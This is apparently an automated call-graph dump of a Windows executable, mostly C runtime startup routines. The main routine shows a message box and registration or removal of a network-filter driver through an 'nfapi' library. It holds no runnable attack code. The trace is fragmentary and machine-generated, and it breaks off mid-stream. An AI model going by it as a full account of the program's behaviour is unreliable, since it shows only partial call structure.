__crtLCMapStringA_stat 66 API calls 17064->17035 17066 1000ed39 ___freetlocinfo 66 API calls 17065->17066 17065->17067 17066->17067 17071 1000ac9e 17067->17071 17074 1000943b LeaveCriticalSection 17068->17074 17070 1000ac3b 17070->17059 17075 1000943b LeaveCriticalSection 17071->17075 17073 1000ac80 17073->17064 17074->17070 17075->17073 14473 401160 14528 4028b8 14473->14528 14475 40116c GetStartupInfoA GetProcessHeap HeapAlloc 14476 4011ab GetVersionExA 14475->14476 14477 40119e 14475->14477 14478 4011c9 GetProcessHeap HeapFree 14476->14478 14479 4011bb GetProcessHeap HeapFree 14476->14479 14618 4010fb 14477->14618 14481 4011f5 14478->14481 14482 4011a5 __setmbcp 14479->14482 14529 40285e HeapCreate 14481->14529 14484 401236 14485 401242 14484->14485 14486 4010fb _fast_error_exit 61 API calls 14484->14486 14626 40267f GetModuleHandleA 14485->14626 14486->14485 14488 401248 14489 401254 __RTC_Initialize 14488->14489 14490 40124c 14488->14490 14539 401fab 14489->14539 14491 4010fb _fast_error_exit 61 API calls 14490->14491 14492 401253 14491->14492 14492->14489 14494 401261 14495 401265 14494->14495 14496 40126d GetCommandLineA 14494->14496 14659 401499 14495->14659 14554 401e76 14496->14554 14502 401287 14503 401293 14502->14503 14504 40128b 14502->14504 14580 401b4a 14503->14580 14505 401499 __amsg_exit 61 API calls 14504->14505 14507 401292 14505->14507 14507->14503 14509 4012a4 14594 4015b5 14509->14594 14510 40129c 14511 401499 __amsg_exit 61 API calls 14510->14511 14513 4012a3 14511->14513 14513->14509 14514 4012aa 14515 4012b6 14514->14515 14516 4012af 14514->14516 14600 401aed 14515->14600 14518 401499 __amsg_exit 61 API calls 14516->14518 14520 4012b5 14518->14520 14519 4012bb 14521 4012c0 14519->14521 14606 401050 14519->14606 14520->14515 14521->14519 14523 4012d7 14524 4012e6 14523->14524 14615 401729 14523->14615 14677 40174b 14524->14677 14528->14475 14530 402881 14529->14530 14531 40287e 14529->14531 14680 402803 14530->14680 14531->14484 14534 402890 14689 40489e HeapAlloc 14534->14689 14535 4028b4 14535->14484 14538 40289f HeapDestroy 14538->14531 14949 4028b8 14539->14949 14541 401fb7 GetStartupInfoA 14542 404107 __calloc_crt 61 API calls 14541->14542 14549 401fd8 14542->14549 14543 4021f6 __setmbcp 14543->14494 14544 402173 GetStdHandle 14553 40213d 14544->14553 14545 4021d8 SetHandleCount 14545->14543 14546 404107 __calloc_crt 61 API calls 14546->14549 14547 402185 GetFileType 14547->14553 14548 4020c0 14548->14543 14550 4020e9 GetFileType 14548->14550 14552 403383 ___crtInitCritSecAndSpinCount 61 API calls 14548->14552 14548->14553 14549->14543 14549->14546 14549->14548 14549->14553 14550->14548 14551 403383 ___crtInitCritSecAndSpinCount 61 API calls 14551->14553 14552->14548 14553->14543 14553->14544 14553->14545 14553->14547 14553->14551 14555 401e92 GetEnvironmentStringsW 14554->14555 14556 401eb1 14554->14556 14557 401ea6 GetLastError 14555->14557 14558 401e9a 14555->14558 14556->14558 14560 401f4c 14556->14560 14557->14556 14559 401ecc GetEnvironmentStringsW 14558->14559 14565 401edb 14558->14565 14562 40127d 14559->14562 14559->14565 14561 401f54 GetEnvironmentStrings 14560->14561 14560->14562 14561->14562 14563 401f64 14561->14563 14666 401dbd 14562->14666 14568 4040c7 __malloc_crt 61 API calls 14563->14568 14564 401ef0 WideCharToMultiByte 14566 401f41 FreeEnvironmentStringsW 14564->14566 14567 401f0f 14564->14567 14565->14564 14565->14565 14566->14562 14569 4040c7 __malloc_crt 61 API calls 14567->14569 14570 401f7d 14568->14570 14571 401f15 14569->14571 14572 401f90 14570->14572 14573 401f84 FreeEnvironmentStringsA 14570->14573 14571->14566 14574 401f1e WideCharToMultiByte 14571->14574 14950 4041a0 14572->14950 14573->14562 14576 401f38 14574->14576 14577 401f2f 14574->14577 14576->14566 14579 404039 __crtGetStringTypeA_stat 61 API calls 14577->14579 14579->14576 14581 401b57 14580->14581 14583 401b5c _strlen 14580->14583 14954 40401b 14581->14954 14584 404107 __calloc_crt 61 API calls 14583->14584 14587 401298 14583->14587 14592 401b8f _strlen 14584->14592 14585 401bea 14586 404039 __crtGetStringTypeA_stat 61 API calls 14585->14586 14586->14587 14587->14509 14587->14510 14588 404107 __calloc_crt 61 API calls 14588->14592 14589 401c0f 14590 404039 __crtGetStringTypeA_stat 61 API calls 14589->14590 14590->14587 14592->14585 14592->14587 14592->14588 14592->14589 14593 402d4d __invoke_watson 5 API calls 14592->14593 14958 4037eb 14592->14958 14593->14592 14595 4015be __cinit 14594->14595 15385 402ff1 14595->15385 14597 4015dd __initterm_e 14599 4015fe __cinit 14597->14599 15389 402fdf 14597->15389 14599->14514 14601 401af9 14600->14601 14603 401afe 14600->14603 14602 40401b ___initmbctable 105 API calls 14601->14602 14602->14603 14605 401b3a 14603->14605 15500 403969 14603->15500 14605->14519 15506 401000 14606->15506 14608 40107e 14610 401096 14608->14610 14611 401000 3 API calls 14608->14611 14609 4010a0 MessageBoxA 14609->14523 14610->14609 14612 4010c2 14610->14612 14611->14610 14613 4010ca ?nf_registerDriver@nfapi@@YA?AW4_NF_STATUS@@PBD 14612->14613 14614 4010db ?nf_unRegisterDriver@nfapi@@YA?AW4_NF_STATUS@@PBD 14612->14614 14613->14523 14614->14523 15512 401647 14615->15512 14617 401736 14617->14524 14619 401104 14618->14619 14620 401109 14618->14620 14621 401955 __FF_MSGBANNER 61 API calls 14619->14621 14622 4017b5 _malloc 61 API calls 14620->14622 14621->14620 14623 401112 14622->14623 14624 4014e3 _malloc 3 API calls 14623->14624 14625 40111c 14624->14625 14625->14482 14627 402691 14626->14627 14628 40269a GetProcAddress GetProcAddress GetProcAddress GetProcAddress 14626->14628 15540 4023d3 14627->15540 14630 4026e4 TlsAlloc 14628->14630 14633 402732 TlsSetValue 14630->14633 14634 4027fe 14630->14634 14633->14634 14635 402743 14633->14635 14634->14488 15551 401769 14635->15551 14638 4022b3 ___crtInitCritSecAndSpinCount 61 API calls 14639 402753 14638->14639 14640 4022b3 ___crtInitCritSecAndSpinCount 61 API calls 14639->14640 14641 402763 14640->14641 14642 4022b3 ___crtInitCritSecAndSpinCount 61 API calls 14641->14642 14643 402773 14642->14643 14644 4022b3 ___crtInitCritSecAndSpinCount 61 API calls 14643->14644 14645 402783 14644->14645 15558 402b9c 14645->15558 14648 4027f9 14650 4023d3 __mtterm 64 API calls 14648->14650 14649 40232a __mtterm 61 API calls 14651 4027a4 14649->14651 14650->14634 14651->14648 14652 404107 __calloc_crt 61 API calls 14651->14652 14653 4027bd 14652->14653 14653->14648 14654 40232a __mtterm 61 API calls 14653->14654 14655 4027d7 14654->14655 14655->14648 14656 4027de 14655->14656 14657 402410 _raise 61 API calls 14656->14657 14658 4027e6 GetCurrentThreadId 14657->14658 14658->14634 14660 401955 __FF_MSGBANNER 61 API calls 14659->14660 14661 40149e 14660->14661 14662 4017b5 _malloc 61 API calls 14661->14662 14663 4014a7 14662->14663 14664 40232a __mtterm 61 API calls 14663->14664 14665 40126c 14664->14665 14665->14496 14667 401dd0 14666->14667 14668 401dd5 GetModuleFileNameA 14666->14668 14669 40401b ___initmbctable 105 API calls 14667->14669 14670 401dfc 14668->14670 14669->14668 15565 401c25 14670->15565 14672 401e58 14672->14502 14674 4040c7 __malloc_crt 61 API calls 14675 401e3e 14674->14675 14675->14672 14676 401c25 _parse_cmdline 71 API calls 14675->14676 14676->14672 14678 401647 _raise 61 API calls 14677->14678 14679 4012eb 14678->14679 14679->14482 14691 401542 14680->14691 14685 402829 14704 401579 14685->14704 14686 402835 14687 402844 14686->14687 14688 402d4d __invoke_watson 5 API calls 14686->14688 14687->14534 14687->14535 14688->14687 14690 40289a 14689->14690 14690->14535 14690->14538 14692 40154d 14691->14692 14694 401573 14692->14694 14711 402ea8 14692->14711 14694->14685 14698 402d4d 14694->14698 14947 4055f0 14698->14947 14700 402dde IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 14701 402e21 GetCurrentProcess TerminateProcess 14700->14701 14702 402e15 __invoke_watson 14700->14702 14703 402e41 __invoke_watson 14701->14703 14702->14701 14703->14685 14705 401584 14704->14705 14706 402ea8 _malloc 61 API calls 14705->14706 14707 4015a9 14705->14707 14708 401589 14706->14708 14707->14686 14709 402e49 _strcat_s 61 API calls 14708->14709 14710 401599 14709->14710 14710->14686 14717 4024cf GetLastError 14711->14717 14713 401552 14714 402e49 14713->14714 14715 40232a __mtterm 61 API calls 14714->14715 14716 402e57 __invoke_watson 14715->14716 14731 4023a1 TlsGetValue 14717->14731 14720 40253a SetLastError 14720->14713 14725 402531 14765 404039 14725->14765 14726 402519 14751 402410 14726->14751 14729 402521 GetCurrentThreadId 14729->14720 14730 402537 14730->14720 14732 4023b4 14731->14732 14733 4023cf 14731->14733 14734 40232a __mtterm 59 API calls 14732->14734 14733->14720 14736 404107 14733->14736 14735 4023bf TlsSetValue 14734->14735 14735->14733 14738 40410b 14736->14738 14739 4024f8 14738->14739 14740 40412b Sleep 14738->14740 14778 405e20 14738->14778 14739->14720 14741 40232a TlsGetValue 14739->14741 14740->14738 14742 40233d 14741->14742 14743 40235e GetModuleHandleA 14741->14743 14742->14743 14744 402347 TlsGetValue 14742->14744 14745 40236f 14743->14745 14750 402356 14743->14750 14747 402352 14744->14747 14915 402247 14745->14915 14747->14743 14747->14750 14748 402374 14749 402378 GetProcAddress 14748->14749 14748->14750 14749->14750 14750->14725 14750->14726 14920 4028b8 14751->14920 14753 40241c GetModuleHandleA 14754 40246d InterlockedIncrement 14753->14754 14755 40243e 14753->14755 14756 402d12 __lock 57 API calls 14754->14756 14757 402247 ___crtInitCritSecAndSpinCount 57 API calls 14755->14757 14758 402494 14756->14758 14759 402443 14757->14759 14921 4046d8 InterlockedIncrement 14758->14921 14759->14754 14760 402447 GetProcAddress GetProcAddress 14759->14760 14760->14754 14762 4024b3 14933 4024c6 14762->14933 14764 4024c0 __setmbcp 14764->14729 14766 404045 __setmbcp 14765->14766 14767 404084 14766->14767 14768 402d12 __lock 59 API calls 14766->14768 14769 4040be _realloc __setmbcp 14766->14769 14767->14769 14770 404099 HeapFree 14767->14770 14771 40405c ___sbh_find_block 14768->14771 14769->14730 14770->14769 14772 4040ab 14770->14772 14777 404076 14771->14777 14937 404911 14771->14937 14773 402ea8 _malloc 59 API calls 14772->14773 14774 4040b0 GetLastError 14773->14774 14774->14769 14943 40408f 14777->14943 14779 405e2c __setmbcp 14778->14779 14780 405e44 14779->14780 14790 405e63 __invoke_watson 14779->14790 14781 402ea8 _malloc 60 API calls 14780->14781 14782 405e49 14781->14782 14783 402e49 _strcat_s 60 API calls 14782->14783 14785 405e59 __setmbcp 14783->14785 14784 405ed5 HeapAlloc 14784->14790 14785->14738 14790->14784 14790->14785 14791 402d12 14790->14791 14798 4050ba 14790->14798 14804 405f1c 14790->14804 14807 403452 14790->14807 14792 402d25 14791->14792 14793 402d38 EnterCriticalSection 14791->14793 14810 402c4f 14792->14810 14793->14790 14795 402d2b 14795->14793 14796 401499 __amsg_exit 60 API calls 14795->14796 14797 402d37 14796->14797 14797->14793 14799 4050e6 14798->14799 14800 40517f 14799->14800 14803 405188 14799->14803 14903 404c25 14799->14903 14800->14803 14910 404cd5 14800->14910 14803->14790 14914 402c3a LeaveCriticalSection 14804->14914 14806 405f23 14806->14790 14808 40232a __mtterm 61 API calls 14807->14808 14809 40345d 14808->14809 14809->14790 14811 402c5b __setmbcp 14810->14811 14812 402c81 14811->14812 14836 401955 14811->14836 14820 402c91 __setmbcp 14812->14820 14882 4040c7 14812->14882 14818 402cb2 14823 402d12 __lock 61 API calls 14818->14823 14819 402ca3 14822 402ea8 _malloc 61 API calls 14819->14822 14820->14795 14822->14820 14825 402cb9 14823->14825 14826 402cc1 14825->14826 14827 402ced 14825->14827 14887 403383 14826->14887 14828 404039 __crtGetStringTypeA_stat 61 API calls 14827->14828 14830 402cde 14828->14830 14900 402d09 14830->14900 14831 402ccc 14831->14830 14832 404039 __crtGetStringTypeA_stat 61 API calls 14831->14832 14834 402cd8 14832->14834 14835 402ea8 _malloc 61 API calls 14834->14835 14835->14830 14837 403850 __FF_MSGBANNER 61 API calls 14836->14837 14838 40195c 14837->14838 14839 403850 __FF_MSGBANNER 61 API calls 14838->14839 14841 401969 14838->14841 14839->14841 14840 4017b5 _malloc 61 API calls 14842 401981 14840->14842 14841->14840 14843 40198b 14841->14843 14844 4017b5 _malloc 61 API calls 14842->14844 14845 4017b5 14843->14845 14844->14843 14846 4017c1 14845->14846 14847 403850 __FF_MSGBANNER 58 API calls 14846->14847 14878 401917 14846->14878 14848 4017e1 14847->14848 14849 40191c GetStdHandle 14848->14849 14851 403850 __FF_MSGBANNER 58 API calls 14848->14851 14850 40192a _strlen 14849->14850 14849->14878 14854 401944 WriteFile 14850->14854 14850->14878 14852 4017f2 14851->14852 14852->14849 14853 401804 14852->14853 14855 4037eb _strcpy_s 58 API calls 14853->14855 14853->14878 14854->14878 14856 401826 14855->14856 14857 40183a GetModuleFileNameA 14856->14857 14858 402d4d __invoke_watson 5 API calls 14856->14858 14859 401858 14857->14859 14864 40187b _strlen 14857->14864 14860 401837 14858->14860 14861 4037eb _strcpy_s 58 API calls 14859->14861 14860->14857 14862 401868 14861->14862 14862->14864 14865 402d4d __invoke_watson 5 API calls 14862->14865 14863 4018be 14866 403631 _strcat_s 58 API calls 14863->14866 14864->14863 14867 4036a2 _malloc 58 API calls 14864->14867 14865->14864 14868 4018d1 14866->14868 14869 4018ab 14867->14869 14870 4018e2 14868->14870 14871 402d4d __invoke_watson 5 API calls 14868->14871 14869->14863 14873 402d4d __invoke_watson 5 API calls 14869->14873 14872 403631 _strcat_s 58 API calls 14870->14872 14871->14870 14874 4018f3 14872->14874 14873->14863 14875 402d4d __invoke_watson 5 API calls 14874->14875 14877 401904 14874->14877 14875->14877 14876 403474 _malloc 58 API calls 14876->14878 14877->14876 14879 4014e3 14878->14879 14880 4014bd ___crtCorExitProcess GetModuleHandleA GetProcAddress 14879->14880 14881 4014ec ExitProcess 14880->14881 14885 4040cb 14882->14885 14883 405d5d _malloc 60 API calls 14883->14885 14884 402c9c 14884->14818 14884->14819 14885->14883 14885->14884 14886 4040e3 Sleep 14885->14886 14886->14885 14888 40338f __setmbcp 14887->14888 14889 40232a __mtterm 59 API calls 14888->14889 14890 40339f 14889->14890 14891 401542 ___crtInitCritSecAndSpinCount 59 API calls 14890->14891 14894 4033f3 __setmbcp 14890->14894 14892 4033af 14891->14892 14893 4033be 14892->14893 14895 402d4d __invoke_watson 5 API calls 14892->14895 14896 4033c7 GetModuleHandleA 14893->14896 14897 4033e8 14893->14897 14894->14831 14895->14893 14896->14897 14898 4033d6 GetProcAddress 14896->14898 14899 4022b3 ___crtInitCritSecAndSpinCount 59 API calls 14897->14899 14898->14897 14899->14894 14901 402c3a __msize LeaveCriticalSection 14900->14901 14902 402d10 14901->14902 14902->14820 14904 404c38 HeapReAlloc 14903->14904 14905 404c6c HeapAlloc 14903->14905 14906 404c5a 14904->14906 14909 404c56 14904->14909 14907 404c8f VirtualAlloc 14905->14907 14905->14909 14906->14905 14908 404ca9 HeapFree 14907->14908 14907->14909 14908->14909 14909->14800 14911 404cea VirtualAlloc 14910->14911 14913 404d31 14911->14913 14913->14803 14914->14806 14916 401579 _malloc 60 API calls 14915->14916 14917 402262 14916->14917 14918 402269 ___crtInitCritSecAndSpinCount 14917->14918 14919 40226d GetModuleHandleA 14917->14919 14918->14748 14919->14918 14920->14753 14922 4046f3 InterlockedIncrement 14921->14922 14923 4046f6 14921->14923 14922->14923 14924 404700 InterlockedIncrement 14923->14924 14925 404703 14923->14925 14924->14925 14926 404710 14925->14926 14927 40470d InterlockedIncrement 14925->14927 14928 40471a InterlockedIncrement 14926->14928 14930 40471d 14926->14930 14927->14926 14928->14930 14929 404732 InterlockedIncrement 14929->14930 14930->14929 14931 404742 InterlockedIncrement 14930->14931 14932 40474b InterlockedIncrement 14930->14932 14931->14930 14932->14762 14936 402c3a LeaveCriticalSection 14933->14936 14935 4024cd 14935->14764 14936->14935 14938 40494e 14937->14938 14942 404bf0 ___sbh_free_block 14937->14942 14939 404b3a VirtualFree 14938->14939 14938->14942 14940 404b9e 14939->14940 14941 404bad VirtualFree HeapFree 14940->14941 14940->14942 14941->14942 14942->14777 14946 402c3a LeaveCriticalSection 14943->14946 14945 404096 14945->14767 14946->14945 14948 4055fc __VEC_memzero 14947->14948 14948->14700 14949->14541 14951 4041b8 14950->14951 14952 4041df __VEC_memcpy 14951->14952 14953 401f98 FreeEnvironmentStringsA 14951->14953 14952->14953 14953->14562 14955 404024 14954->14955 14956 40402b 14954->14956 14967 403e81 14955->14967 14956->14583 14959 403800 14958->14959 14960 4037f8 14958->14960 14961 402ea8 _malloc 61 API calls 14959->14961 14960->14959 14965 403827 14960->14965 14962 403805 14961->14962 14963 402e49 _strcat_s 61 API calls 14962->14963 14964 403814 14963->14964 14964->14592 14965->14964 14966 402ea8 _malloc 61 API calls 14965->14966 14966->14962 14968 403e8d __setmbcp 14967->14968 14998 402546 14968->14998 14972 403ea0 15019 403c2e 14972->15019 14975 4040c7 __malloc_crt 61 API calls 14976 403ec1 14975->14976 14977 403fe0 __setmbcp 14976->14977 15026 403ca8 14976->15026 14977->14956 14979 403ee4 14980 403ef1 InterlockedDecrement 14979->14980 14981 403fed 14979->14981 14982 403f01 14980->14982 14983 403f12 InterlockedIncrement 14980->14983 14981->14977 14984 404000 14981->14984 14986 404039 __crtGetStringTypeA_stat 61 API calls 14981->14986 14982->14983 14988 404039 __crtGetStringTypeA_stat 61 API calls 14982->14988 14983->14977 14985 403f28 14983->14985 14987 402ea8 _malloc 61 API calls 14984->14987 14985->14977 14990 402d12 __lock 61 API calls 14985->14990 14986->14984 14987->14977 14989 403f11 14988->14989 14989->14983 14992 403f3c InterlockedDecrement 14990->14992 14993 403fb8 14992->14993 14994 403fcb InterlockedIncrement 14992->14994 14993->14994 14996 404039 __crtGetStringTypeA_stat 61 API calls 14993->14996 15034 403fe2 14994->15034 14997 403fca 14996->14997 14997->14994 14999 4024cf _raise 61 API calls 14998->14999 15000 40254c 14999->15000 15001 402559 15000->15001 15002 401499 __amsg_exit 61 API calls 15000->15002 15003 403b8a 15001->15003 15002->15001 15004 403b96 __setmbcp 15003->15004 15005 402546 __setmbcp 61 API calls 15004->15005 15006 403b9b 15005->15006 15007 402d12 __lock 61 API calls 15006->15007 15008 403bad 15006->15008 15009 403bcb 15007->15009 15011 403bbb __setmbcp 15008->15011 15015 401499 __amsg_exit 61 API calls 15008->15015 15010 403c14 15009->15010 15012 403be2 InterlockedDecrement 15009->15012 15013 403bfc InterlockedIncrement 15009->15013 15037 403c25 15010->15037 15011->14972 15012->15013 15016 403bed 15012->15016 15013->15010 15015->15011 15016->15013 15017 404039 __crtGetStringTypeA_stat 61 API calls 15016->15017 15018 403bfb 15017->15018 15018->15013 15041 403896 15019->15041 15022 403c69 15024 403c5b 15022->15024 15025 403c6e GetACP 15022->15025 15023 403c4b GetOEMCP 15023->15024 15024->14975 15024->14977 15025->15024 15027 403c2e getSystemCP 73 API calls 15026->15027 15028 403cc6 15027->15028 15029 403d3a __invoke_watson __setmbcp 15028->15029 15030 403cd1 setSBCS __invoke_watson 15028->15030 15031 403d15 IsValidCodePage 15028->15031 15232 403a00 GetCPInfo 15029->15232 15030->14979 15031->15030 15032 403d27 GetCPInfo 15031->15032 15032->15029 15032->15030 15384 402c3a LeaveCriticalSection 15034->15384 15036 403fe9 15036->14977 15040 402c3a LeaveCriticalSection 15037->15040 15039 403c2c 15039->15008 15040->15039 15042 4038a5 15041->15042 15046 4038f2 15041->15046 15043 402546 __setmbcp 61 API calls 15042->15043 15044 4038aa 15043->15044 15045 4038d2 15044->15045 15049 404828 15044->15049 15045->15046 15048 403b8a __setmbcp 63 API calls 15045->15048 15046->15022 15046->15023 15048->15046 15050 404834 __setmbcp 15049->15050 15051 402546 __setmbcp 61 API calls 15050->15051 15052 404839 15051->15052 15053 404867 15052->15053 15055 40484b 15052->15055 15054 402d12 __lock 61 API calls 15053->15054 15056 40486e 15054->15056 15057 402546 __setmbcp 61 API calls 15055->15057 15064 4047ea 15056->15064 15059 404850 15057->15059 15062 40485e __setmbcp 15059->15062 15063 401499 __amsg_exit 61 API calls 15059->15063 15062->15045 15063->15062 15065 4047ee 15064->15065 15071 404820 15064->15071 15066 4046d8 ___addlocaleref 8 API calls 15065->15066 15065->15071 15067 404801 15066->15067 15067->15071 15075 40475e 15067->15075 15072 404892 15071->15072 15231 402c3a LeaveCriticalSection 15072->15231 15074 404899 15074->15059 15076 4047e6 15075->15076 15077 404767 InterlockedDecrement 15075->15077 15076->15071 15089 404598 15076->15089 15078 404780 15077->15078 15079 40477d InterlockedDecrement 15077->15079 15080 40478a InterlockedDecrement 15078->15080 15081 40478d 15078->15081 15079->15078 15080->15081 15082 404797 InterlockedDecrement 15081->15082 15083 40479a 15081->15083 15082->15083 15084 4047a4 InterlockedDecrement 15083->15084 15086 4047a7 15083->15086 15084->15086 15085 4047bc InterlockedDecrement 15085->15086 15086->15085 15087 4047cc InterlockedDecrement 15086->15087 15088 4047d5 InterlockedDecrement 15086->15088 15087->15086 15088->15076 15090 404619 15089->15090 15092 4045ac 15089->15092 15091 404039 __crtGetStringTypeA_stat 61 API calls 15090->15091 15093 404666 15090->15093 15094 40463a 15091->15094 15092->15090 15099 4045e0 15092->15099 15102 404039 __crtGetStringTypeA_stat 61 API calls 15092->15102 15110 40468d 15093->15110 15143 4062d7 15093->15143 15096 404039 __crtGetStringTypeA_stat 61 API calls 15094->15096 15106 404039 __crtGetStringTypeA_stat 61 API calls 15099->15106 15118 404601 15099->15118 15100 404039 __crtGetStringTypeA_stat 61 API calls 15101 4046cc 15109 4045d5 15102->15109 15103 404039 __crtGetStringTypeA_stat 61 API calls 15103->15110 15104 404039 61 API calls __crtGetStringTypeA_stat 15104->15110 15112 4045f6 15106->15112 15119 4064a7 15109->15119 15110->15101 15110->15104 15135 406467 15112->15135 15118->15100 15120 4064b0 15119->15120 15134 40652d 15119->15134 15134->15099 15144 4062e4 15143->15144 15145 404686 15143->15145 15146 404039 __crtGetStringTypeA_stat 61 API calls 15144->15146 15145->15103 15231->15074 15233 403a37 __invoke_watson 15232->15233 15234 403ae0 __invoke_watson 15232->15234 15240 405cce 15233->15240 15234->15029 15241 403896 _LocaleUpdate::_LocaleUpdate 71 API calls 15240->15241 15242 405cdf 15241->15242 15250 405b16 15242->15250 15244 403a9b 15245 405ad3 15244->15245 15246 403896 _LocaleUpdate::_LocaleUpdate 71 API calls 15245->15246 15247 405ae4 15246->15247 15251 405b35 GetStringTypeW 15250->15251 15252 405b60 15250->15252 15254 405b55 GetLastError 15251->15254 15255 405b4d 15251->15255 15253 405c47 15252->15253 15252->15255 15294 406c2c GetLocaleInfoA 15253->15294 15254->15252 15256 405b99 MultiByteToWideChar 15255->15256 15259 405c41 __invoke_watson 15255->15259 15256->15259 15261 405bc6 15256->15261 15258 405c6b 15258->15259 15260 405c98 GetStringTypeA 15258->15260 15298 406c73 15258->15298 15259->15244 15260->15259 15265 405bdb __invoke_watson __alloca_probe_16 15261->15265 15272 405d5d 15261->15272 15263 405c14 MultiByteToWideChar 15265->15259 15265->15263 15273 405e0a 15272->15273 15284 405d6b 15272->15284 15274 403452 _malloc 60 API calls 15273->15274 15280 4017b5 _malloc 60 API calls 15280->15284 15281 405dce HeapAlloc 15281->15284 15284->15280 15284->15281 15295 406c5d 15294->15295 15297 406c58 __invoke_watson 15294->15297 15332 406f18 15295->15332 15297->15258 15299 406cb1 GetCPInfo 15298->15299 15302 406d3b __invoke_watson 15298->15302 15335 407186 15332->15335 15336 40719d 15335->15336 15384->15036 15386 402ff5 15385->15386 15388 40300d 15386->15388 15392 4022b3 TlsGetValue 15386->15392 15388->14597 15402 402fa3 15389->15402 15391 402fe8 15391->14599 15393 4022c6 15392->15393 15394 4022e7 GetModuleHandleA 15392->15394 15393->15394 15396 4022d0 TlsGetValue 15393->15396 15395 4022f8 15394->15395 15401 4022df 15394->15401 15397 402247 ___crtInitCritSecAndSpinCount 57 API calls 15395->15397 15398 4022db 15396->15398 15399 4022fd 15397->15399 15398->15394 15398->15401 15400 402301 GetProcAddress 15399->15400 15399->15401 15400->15401 15401->15386 15403 402faf __setmbcp 15402->15403 15410 4014f8 15403->15410 15409 402fd0 __setmbcp 15409->15391 15411 402d12 __lock 61 API calls 15410->15411 15412 4014ff 15411->15412 15413 402ebb 15412->15413 15414 40232a __mtterm 61 API calls 15413->15414 15415 402ecb 15414->15415 15416 40232a __mtterm 61 API calls 15415->15416 15417 402edc 15416->15417 15418 402f5f 15417->15418 15433 40566a 15417->15433 15430 402fd9 15418->15430 15420 4022b3 ___crtInitCritSecAndSpinCount 61 API calls 15421 402f54 15420->15421 15423 4022b3 ___crtInitCritSecAndSpinCount 61 API calls 15421->15423 15422 402efa 15426 402f1c 15422->15426 15429 402f45 15422->15429 15446 40414f 15422->15446 15423->15418 15425 40414f __realloc_crt 68 API calls 15427 402f33 15425->15427 15426->15418 15426->15425 15426->15427 15427->15418 15428 4022b3 ___crtInitCritSecAndSpinCount 61 API calls 15427->15428 15428->15429 15429->15420 15496 401501 15430->15496 15434 405676 __setmbcp 15433->15434 15435 405686 15434->15435 15437 4056a3 15434->15437 15438 402ea8 _malloc 61 API calls 15435->15438 15436 4056e4 HeapSize 15442 40569b __setmbcp 15436->15442 15437->15436 15439 402d12 __lock 61 API calls 15437->15439 15440 40568b 15438->15440 15443 4056b3 ___sbh_find_block 15439->15443 15441 402e49 _strcat_s 61 API calls 15440->15441 15441->15442 15442->15422 15451 405704 15443->15451 15450 404153 15446->15450 15448 404195 15448->15426 15449 404176 Sleep 15449->15450 15450->15448 15450->15449 15455 405f3e 15450->15455 15454 402c3a LeaveCriticalSection 15451->15454 15453 4056df 15453->15436 15453->15442 15454->15453 15456 405f4a __setmbcp 15455->15456 15457 405f51 15456->15457 15458 405f5f 15456->15458 15459 405d5d _malloc 61 API calls 15457->15459 15460 405f72 15458->15460 15461 405f66 15458->15461 15463 405f59 _realloc __setmbcp 15459->15463 15468 4060e4 15460->15468 15470 405f7f ___sbh_resize_block ___sbh_find_block 15460->15470 15462 404039 __crtGetStringTypeA_stat 61 API calls 15461->15462 15462->15463 15463->15450 15464 406117 15466 403452 _malloc 61 API calls 15464->15466 15465 4060e9 HeapReAlloc 15465->15463 15465->15468 15469 40611d 15466->15469 15467 402d12 __lock 61 API calls 15467->15470 15468->15464 15468->15465 15471 40613b 15468->15471 15473 403452 _malloc 61 API calls 15468->15473 15475 406131 15468->15475 15472 402ea8 _malloc 61 API calls 15469->15472 15470->15463 15470->15464 15470->15467 15479 40600a HeapAlloc 15470->15479 15480 40605f HeapReAlloc 15470->15480 15482 4050ba ___sbh_alloc_block 5 API calls 15470->15482 15483 4060ca 15470->15483 15484 403452 _malloc 61 API calls 15470->15484 15487 4060ad 15470->15487 15488 4041a0 __VEC_memcpy _realloc 15470->15488 15491 404911 VirtualFree VirtualFree HeapFree ___sbh_free_block 15470->15491 15492 406082 15470->15492 15471->15463 15474 402ea8 _malloc 61 API calls 15471->15474 15472->15463 15473->15468 15476 406144 GetLastError 15474->15476 15478 402ea8 _malloc 61 API calls 15475->15478 15476->15463 15490 4060b2 15478->15490 15479->15470 15480->15470 15481 4060b7 GetLastError 15481->15463 15482->15470 15483->15463 15485 402ea8 _malloc 61 API calls 15483->15485 15484->15470 15486 4060d7 15485->15486 15486->15463 15486->15476 15489 402ea8 _malloc 61 API calls 15487->15489 15488->15470 15489->15490 15490->15463 15490->15481 15491->15470 15495 402c3a LeaveCriticalSection 15492->15495 15494 406089 15494->15470 15495->15494 15499 402c3a LeaveCriticalSection 15496->15499 15498 401508 15498->15409 15499->15498 15503 403918 15500->15503 15504 403896 _LocaleUpdate::_LocaleUpdate 71 API calls 15503->15504 15505 403929 15504->15505 15505->14603 15507 40103a 15506->15507 15509 401008 15506->15509 15507->14608 15508 401031 CharNextA 15508->15507 15508->15509 15509->15507 15509->15508 15510 40102a CharNextA 15509->15510 15511 40103f CharNextA 15509->15511 15510->15508 15510->15509 15511->14608 15513 401653 __setmbcp 15512->15513 15514 402d12 __lock 61 API calls 15513->15514 15515 40165a 15514->15515 15517 4016d9 _raise 15515->15517 15518 40167e 15515->15518 15531 401714 15517->15531 15519 40232a __mtterm 61 API calls 15518->15519 15521 401689 15519->15521 15523 40232a __mtterm 61 API calls 15521->15523 15522 401711 __setmbcp 15522->14617 15528 401697 15523->15528 15525 401708 15527 4014e3 _malloc 3 API calls 15525->15527 15526 4016c9 _raise 15526->15517 15527->15522 15528->15526 15530 40232a __mtterm 61 API calls 15528->15530 15536 402321 15528->15536 15530->15528 15532 4016f5 15531->15532 15533 40171a 15531->15533 15532->15522 15535 402c3a LeaveCriticalSection 15532->15535 15539 402c3a LeaveCriticalSection 15533->15539 15535->15525 15537 4022b3 ___crtInitCritSecAndSpinCount 61 API calls 15536->15537 15538 402328 15537->15538 15538->15528 15539->15532 15541 4023e9 15540->15541 15542 4023dd 15540->15542 15544 4023fd TlsFree 15541->15544 15545 40240b 15541->15545 15543 40232a __mtterm 61 API calls 15542->15543 15543->15541 15544->15545 15546 402bff DeleteCriticalSection 15545->15546 15547 402c17 15545->15547 15548 404039 __crtGetStringTypeA_stat 61 API calls 15546->15548 15549 402c29 DeleteCriticalSection 15547->15549 15550 402696 15547->15550 15548->15545 15549->15547 15550->14488 15552 402321 _raise 61 API calls 15551->15552 15553 40176f __init_pointers 15552->15553 15562 402b8b 15553->15562 15556 4022b3 ___crtInitCritSecAndSpinCount 61 API calls 15557 4017ab 